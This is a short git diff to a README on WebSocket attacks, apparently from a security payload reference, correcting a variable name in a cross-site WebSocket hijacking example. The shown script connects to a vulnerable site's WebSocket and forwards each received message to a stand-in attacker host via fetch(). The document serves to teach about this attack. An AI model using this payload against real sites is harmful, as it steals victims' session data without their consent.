diff --git a/Web Sockets/README.md b/Web Sockets/README.md
index c63bdd4..ffe7ec0 100644
--- a/Web Sockets/README.md	
+++ b/Web Sockets/README.md	
@@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
 <script>
   ws = new WebSocket('wss://vulnerable.example.com/messages');
   ws.onopen = function start(event) {
-    websocket.send("HELLO");
+    ws.send("HELLO");
   }
   ws.onmessage = function handleReply(event) {
     fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});